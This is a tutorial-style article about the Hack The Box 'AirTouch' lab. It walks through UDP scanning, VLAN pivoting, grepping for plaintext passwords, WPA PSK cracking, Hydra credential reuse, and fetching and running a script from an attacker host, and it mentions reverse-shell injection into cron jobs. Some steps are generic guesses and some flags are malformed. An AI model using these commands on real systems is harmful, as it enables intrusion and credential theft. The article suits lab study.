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Introduction:
In the world of penetration testing, a common pitfall is relying solely on TCP port scans. The “AirTouch” machine on Hack The Box exemplifies a scenario where a silent network forces an attacker to shift tactics. By exploring UDP services, testers can uncover entry points into segmented environments, demonstrating that network segmentation is only as strong as its configuration. This article provides a technical breakdown of the methodologies used to exploit weak authentication and misconfigured files to pivot through VLANs.
Learning Objectives:
- Understand the importance of UDP scanning when TCP ports yield no results.
- Learn techniques for network pivoting and VLAN hopping.
- Identify common misconfigurations in file permissions and authentication protocols.
- Practice combining multiple minor vulnerabilities to achieve a full system compromise.
You Should Know:
- Silent Networks: The Shift from TCP to UDP Enumeration
When a standard Nmap TCP scan (-sSor-sT) returns zero open ports, it does not mean the host is dead. Many services, particularly in IoT or embedded systems like the “AirTouch” machine, utilize UDP for discovery and management. UDP is connectionless and often overlooked by firewalls configured primarily to block TCP.
Step‑by‑step guide: What this does and how to use it.
To perform a comprehensive UDP scan, you must use the `-sU` flag in Nmap. Because UDP scanning is inherently slower and less reliable than TCP (due to the lack of handshake), it requires patience and specific timing.
Basic UDP scan of top 100 ports nmap -sU -top-ports 100 <target_ip> More thorough UDP scan with version detection (can take hours) nmap -sUCV -p- <target_ip> --min-rate 1000
Explanation: The first command checks for common UDP services like DNS (53), SNMP (161), or DHCP (67). The second command attempts to scan all 65,535 UDP ports while also running default scripts (-sC) and version detection (-V). This is crucial for finding services that don’t respond to TCP SYN packets.
2. Accessing the Segmented Network: Initial Foothold
Once a UDP service is discovered (e.g., SNMP or a custom protocol), it often provides a gateway into a segmented network. In the AirTouch lab, this initial access dropped the tester into a VLAN with multiple hosts.
Step‑by‑step guide: Navigating the initial pivot.
After gaining a low-privilege shell on a dual-homed host (a machine connected to multiple networks), you must enumerate the new interfaces.
On the compromised Linux host, check routing tables and interfaces ip route show ip addr show Add a route to the new VLAN through the compromised host (Pivot) On your attacking machine (using a tool like sshuttle or manually) Example: route add -net 192.168.10.0/24 gw <compromised_ip>
Explanation: The first commands identify the new network range (e.g., 192.168.10.0/24). The second command (run locally) adds a static route, telling your Kali machine to send traffic destined for that VLAN through the compromised host, allowing you to directly scan the new targets.
3. Exploiting Misconfigured Files
Inside the new VLAN, the key to lateral movement is often found in world-readable configuration files or scripts left behind by administrators.
Step‑by‑step guide: Hunting for credential leaks.
Use the initial foothold to search for files containing passwords or keys. These are frequently stored in web roots, backup directories, or application configs.
On the compromised host, search for common credential files find / -name ".conf" 2>/dev/null | xargs grep -i "password" find / -name ".bak" 2>/dev/null | xargs grep -i "pass" cat /var/www/html/config.php | grep -i "db_password"
Explanation: These commands recursively search the filesystem for configuration files (.conf) or backups (.bak) and filter for the string “password”. The `config.php` check is specific to web applications, which frequently house database credentials in plaintext.
- The Weak Link: Cracking the PSK (Pre-Shared Key)
The post mentions that a weak authentication setup (PSK) eventually helped. In network contexts, PSK often refers to Wi-Fi (WPA2-PSK) or a VPN preshared key. If a captured handshake or configuration file containing a hashed PSK is found, it can be cracked offline.
Step‑by‑step guide: Cracking a captured PSK.
Assuming you captured a WPA handshake using `airodump-ng` or found a hashed PSK in a configuration file:
Using aircrack-ng with a wordlist aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap Alternatively, using hashcat if you have the hash in the correct format hashcat -m 2500 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Explanation: The first command attempts to crack the handshake directly from the capture file. The second command is used for more powerful GPU-based cracking. The `-m 2500` mode is specifically for WPA/WPA2 handshakes. A weak PSK (e.g., “password123” or “companyname”) will fall quickly to a dictionary attack.
5. Lateral Movement and Pivoting
With the cracked PSK, you can now authenticate to other network segments or services that use the same shared secret. This could allow you to hop to a different VLAN or access a management interface.
Step‑by‑step guide: Using the PSK for further access.
If the PSK is for a Wi-Fi network, you would connect to it. If it is a generic password, attempt to use it against other services.
Hydra brute-forcing SSH with the found password hydra -l admin -p <cracked_psk> ssh://<new_target_ip> Mounting an NFS share that might be restricted by the same network key mount -t nfs <new_target_ip>:/shared_folder /mnt/nfs
Explanation: Credential reuse is a common misconfiguration. The cracked PSK from one service might be the local administrator password on another machine or the key to access a file share containing sensitive data.
6. Full Compromise: Combining the Exploits
The final step involves chaining the initial UDP access, the file misconfiguration, and the cracked PSK to gain root access on the final target. This often involves exploiting a vulnerable internal web application or service that was previously unreachable from the outside.
Step‑by‑step guide: Local Privilege Escalation.
Once on the final machine, check for kernel exploits or cron jobs.
Upload and run Linux Exploit Suggester wget http://<your_ip>/linux-exploit-suggester.sh -O les.sh bash les.sh Check for writable cron scripts ls -la /etc/cron
Explanation: `linux-exploit-suggester.sh` compares the kernel version against a database of known exploits. If a script in a cron directory is writable by your user, you can inject a reverse shell payload to be executed as root.
What Undercode Say:
- Key Takeaway 1: The absence of TCP services should immediately trigger a UDP audit. Many critical infrastructure components (SNMP, TFTP, Memcached) operate over UDP and are frequently misconfigured.
- Key Takeaway 2: Network segmentation is a barrier, not a wall. It provides a false sense of security if internal VLANs trust each other implicitly or share authentication secrets like weak PSKs.
Analysis: The AirTouch lab is a masterclass in “thinking outside the box.” It demonstrates that a penetration tester’s methodology must be fluid. Sticking rigidly to TCP scans would have resulted in a zero-attack surface report, leaving the network vulnerable. The real vulnerability was not a single missing patch, but a chain of assumptions: that the UDP service was safe because it was “internal,” that the configuration files were hidden, and that the PSK was strong enough. This chain highlights the necessity of defense in depth, where every layer must be hardened independently, as the compromise of one layer (UDP access) should not lead to the collapse of subsequent layers (VLAN hopping, credential reuse).
Prediction:
As more organizations adopt hybrid cloud models and IoT devices flood the market, the reliance on UDP for lightweight communication will increase. Consequently, we will see a rise in “blind spot” attacks where perimeter defenses focused on TCP are bypassed entirely. Attackers will increasingly target the management protocols of building automation, HVAC, and industrial control systems, which predominantly use UDP, forcing security teams to adopt “Zero Trust” principles even for internal, non-TCP traffic.
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IT/Security Reporter URL:
Reported By: Yogeshwar Peela – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
